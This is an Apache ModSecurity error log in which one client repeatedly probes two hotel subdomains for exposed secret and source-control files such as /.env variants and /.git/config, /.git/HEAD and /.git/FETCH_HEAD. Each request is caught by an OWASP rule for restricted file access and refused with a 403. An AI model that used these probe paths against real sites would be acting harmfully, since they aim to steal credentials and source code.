[Sun Oct 25 04:06:21.973079 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at24farU4NwppjTEGaL6igAAAAY"]
[Sun Oct 25 04:06:21.973313 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at24farU4NwppjTEGaL6igAAAAY"]
[Sun Oct 25 04:06:21.973720 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at24farU4NwppjTEGaL6igAAAAY"]
[Sun Oct 25 04:06:21.975302 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at24fbQKh4dfs72fmHxv9gAAAAE"]
[Sun Oct 25 04:06:21.975495 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at24fbQKh4dfs72fmHxv9gAAAAE"]
[Sun Oct 25 04:06:21.975787 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at24fbQKh4dfs72fmHxv9gAAAAE"]
[Sun Oct 25 04:06:21.981836 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at24fVTnwNJm6o1fQZIisgAAAAI"]
[Sun Oct 25 04:06:21.982076 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at24fVTnwNJm6o1fQZIisgAAAAI"]
[Sun Oct 25 04:06:21.982435 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at24fVTnwNJm6o1fQZIisgAAAAI"]
[Sun Oct 25 04:06:22.005469 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at24fgLaiqtlZaJBsx4XzgAAAA0"]
[Sun Oct 25 04:06:22.005674 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at24fgLaiqtlZaJBsx4XzgAAAA0"]
[Sun Oct 25 04:06:22.005979 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at24fgLaiqtlZaJBsx4XzgAAAA0"]
[Sun Oct 25 04:06:22.110462 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/"] [unique_id "at24ftxXWZMI2DaSlsHxNAAAABY"]
[Sun Oct 25 04:06:22.110663 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/"] [unique_id "at24ftxXWZMI2DaSlsHxNAAAABY"]
[Sun Oct 25 04:06:22.110940 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/"] [unique_id "at24ftxXWZMI2DaSlsHxNAAAABY"]
[Sun Oct 25 04:06:22.111919 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/commit_editmsg"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/COMMIT_EDITMSG"] [unique_id "at24foHtOs-nfC4GshpRrQAAABc"]
[Sun Oct 25 04:06:22.112049 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/COMMIT_EDITMSG"] [unique_id "at24foHtOs-nfC4GshpRrQAAABc"]
[Sun Oct 25 04:06:22.112260 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/COMMIT_EDITMSG"] [unique_id "at24foHtOs-nfC4GshpRrQAAABc"]
[Sun Oct 25 04:06:22.113144 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/"] [unique_id "at24fi7GhhaIo05efijDHwAAAAc"]
[Sun Oct 25 04:06:22.113260 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/"] [unique_id "at24fi7GhhaIo05efijDHwAAAAc"]
[Sun Oct 25 04:06:22.113470 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/"] [unique_id "at24fi7GhhaIo05efijDHwAAAAc"]
[Sun Oct 25 04:06:22.114529 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/commit_editmsg"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/COMMIT_EDITMSG"] [unique_id "at24fp68N771hz7W4KlsRwAAAAw"]
[Sun Oct 25 04:06:22.114658 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/COMMIT_EDITMSG"] [unique_id "at24fp68N771hz7W4KlsRwAAAAw"]
[Sun Oct 25 04:06:22.114864 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/COMMIT_EDITMSG"] [unique_id "at24fp68N771hz7W4KlsRwAAAAw"]
[Sun Oct 25 04:06:22.133651 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/fetch_head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/FETCH_HEAD"] [unique_id "at24frQKh4dfs72fmHxv-AAAAAE"]
[Sun Oct 25 04:06:22.133814 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/FETCH_HEAD"] [unique_id "at24frQKh4dfs72fmHxv-AAAAAE"]
[Sun Oct 25 04:06:22.134078 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/FETCH_HEAD"] [unique_id "at24frQKh4dfs72fmHxv-AAAAAE"]
[Sun Oct 25 04:06:22.139341 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at24fqrU4NwppjTEGaL6jAAAAAY"]
[Sun Oct 25 04:06:22.139536 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at24fqrU4NwppjTEGaL6jAAAAAY"]
[Sun Oct 25 04:06:22.139771 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at24fqrU4NwppjTEGaL6jAAAAAY"]
[Sun Oct 25 04:06:22.155154 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/fetch_head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/FETCH_HEAD"] [unique_id "at24flTnwNJm6o1fQZIitAAAAAI"]
[Sun Oct 25 04:06:22.155344 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/FETCH_HEAD"] [unique_id "at24flTnwNJm6o1fQZIitAAAAAI"]
[Sun Oct 25 04:06:22.155649 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/FETCH_HEAD"] [unique_id "at24flTnwNJm6o1fQZIitAAAAAI"]
[Sun Oct 25 04:06:22.171973 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at24fgLaiqtlZaJBsx4X0AAAAA0"]
[Sun Oct 25 04:06:22.172195 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at24fgLaiqtlZaJBsx4X0AAAAA0"]
[Sun Oct 25 04:06:22.172503 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at24fgLaiqtlZaJBsx4X0AAAAA0"]
[Sun Oct 25 04:06:22.190205 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at24foHtOs-nfC4GshpRrgAAABc"]
[Sun Oct 25 04:06:22.190433 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at24foHtOs-nfC4GshpRrgAAABc"]
[Sun Oct 25 04:06:22.190784 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at24foHtOs-nfC4GshpRrgAAABc"]
